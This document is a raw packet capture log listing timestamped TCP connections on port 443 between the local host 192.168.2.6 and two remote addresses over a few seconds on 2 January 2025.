Jan 2, 2025 20:29:03.329148054 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.329818964 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.329871893 CET	443	50216	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.329945087 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.330169916 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.330185890 CET	443	50216	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.330554008 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.330602884 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.330619097 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.330648899 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.330674887 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.330727100 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.330774069 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.331306934 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.331324100 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.331686974 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.331697941 CET	443	50217	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.331751108 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.331968069 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.331979036 CET	443	50217	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468039989 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468099117 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468135118 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.468135118 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.468154907 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468226910 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.468233109 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468241930 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.468288898 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.469150066 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.469166040 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.469584942 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.469636917 CET	443	50220	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.469708920 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.469892979 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.469907045 CET	443	50220	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.899799109 CET	443	50215	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.899967909 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.902498960 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.902513027 CET	443	50215	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.902760029 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.902765989 CET	443	50215	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.959223986 CET	443	50216	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.959328890 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.959814072 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.959820032 CET	443	50216	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.960026979 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.960033894 CET	443	50216	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.960490942 CET	443	50217	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.960561991 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.960783005 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.960787058 CET	443	50217	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.991082907 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.991106987 CET	443	50217	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:04.100212097 CET	443	50220	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:04.100357056 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:04.118724108 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:04.118771076 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.118784904 CET	443	50220	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:04.118792057 CET	50216	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.118818045 CET	50217	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:04.118848085 CET	50220	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:04.122519970 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.122562885 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.122633934 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.123703957 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.123718023 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.124110937 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.124145985 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.124198914 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.125293970 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.125304937 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.799098969 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.799165010 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.799767971 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.799781084 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.802005053 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.802018881 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.829355001 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.829421997 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.829987049 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.829998016 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:04.830210924 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:04.830215931 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.188853979 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.189018965 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.189177990 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.189214945 CET	443	50221	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.189275026 CET	50221	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.189941883 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.189975023 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.189982891 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.190012932 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.190047979 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.190089941 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.190342903 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.190357924 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.190383911 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.190395117 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.227987051 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.228152037 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.228180885 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.228230000 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.228351116 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.228403091 CET	443	50222	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.228456020 CET	50222	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.229146957 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.229177952 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.229187965 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.229197025 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.229283094 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.229516983 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.229516983 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.229537010 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.229628086 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.229643106 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.836585999 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.836662054 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.840449095 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.840464115 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.840711117 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.841485023 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.841825008 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.849703074 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.849777937 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.850461006 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.850516081 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.851926088 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.851947069 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.852191925 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.852247953 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.852890015 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.883335114 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.895343065 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.936575890 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.936731100 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.938571930 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.938596010 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.938743114 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.938827038 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.938860893 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:05.939105034 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.939438105 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:05.940392971 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.940462112 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.942094088 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.942115068 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.942739964 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.942800045 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.943128109 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:05.987337112 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:05.987374067 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.238991022 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.239105940 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.239202976 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.239237070 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.239402056 CET	443	50223	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.239454031 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.239469051 CET	50223	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.239835024 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.239859104 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.239928961 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.240178108 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.240190029 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.247179985 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.247220039 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.247229099 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.247241020 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.247293949 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.247293949 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.247303009 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.247319937 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.247358084 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.248131990 CET	50224	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.248141050 CET	443	50224	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.248651981 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.248687029 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.248755932 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.248966932 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.248977900 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.331343889 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.331450939 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.331485033 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.331641912 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.331708908 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.331739902 CET	443	50225	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.331799984 CET	50225	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.332381964 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.332416058 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.332473993 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.332747936 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.332756042 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.425893068 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.425941944 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.425985098 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.426018953 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.426032066 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.426035881 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.426067114 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.426086903 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.426906109 CET	50226	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.426924944 CET	443	50226	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.427439928 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.427480936 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.427546024 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.427865982 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.427877903 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.911880970 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.912020922 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.912641048 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.912695885 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.915966988 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.915977001 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.916233063 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.916290998 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.916642904 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.918076038 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.918139935 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.918391943 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.918395996 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.918534994 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:06.918544054 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:06.959331989 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.994477987 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.994580030 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.995212078 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.995261908 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.997585058 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.997591972 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.997865915 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:06.997932911 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:06.998272896 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.043339014 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.097172022 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.097392082 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.098084927 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.098090887 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.098314047 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.098318100 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.301955938 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.302010059 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.302026033 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.302067995 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.302201986 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.302242041 CET	443	50228	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.302287102 CET	50228	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.302944899 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.302980900 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.303049088 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.304476976 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.304490089 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.351169109 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.351214886 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.351232052 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.351241112 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.351258039 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.351291895 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.351295948 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.351325989 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.351330996 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.351367950 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.352034092 CET	50229	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.352049112 CET	443	50229	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.353091955 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.353137016 CET	443	50235	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.353195906 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.353794098 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.353815079 CET	443	50235	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.372106075 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.372178078 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.372191906 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.372231960 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.373102903 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.373143911 CET	443	50230	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.373195887 CET	50230	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.374069929 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.374114990 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.374197006 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.374614000 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.374639034 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.529695034 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.529740095 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.529845953 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.529948950 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.530024052 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.531042099 CET	50231	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.531058073 CET	443	50231	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.531599045 CET	50237	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.531636000 CET	443	50237	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.531738043 CET	50237	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.531961918 CET	50237	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.531974077 CET	443	50237	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.945307016 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.945425034 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.946109056 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.946161032 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.948087931 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.948098898 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.948421001 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:07.948481083 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.949141026 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:07.985630989 CET	443	50235	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.985897064 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.986407995 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.986418009 CET	443	50235	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.988151073 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:07.988157988 CET	443	50235	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:07.995332956 CET	443	50234	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.007522106 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.007848978 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.008284092 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.008353949 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.010621071 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.010631084 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.010924101 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.010981083 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.011411905 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.059346914 CET	443	50236	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.134047985 CET	50237	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:08.134099007 CET	50234	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.134131908 CET	50235	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:08.134157896 CET	50236	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.134880066 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.134928942 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.134994984 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.135291100 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.135303974 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.136825085 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.136869907 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.136951923 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.137525082 CET	50239	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.137540102 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.776185036 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.776293993 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.776912928 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.776922941 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.778779984 CET	50238	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:08.778786898 CET	443	50238	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.789452076 CET	443	50239	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:08.789527893 CET	50239	443	192.168.2.6	142.250.185.78
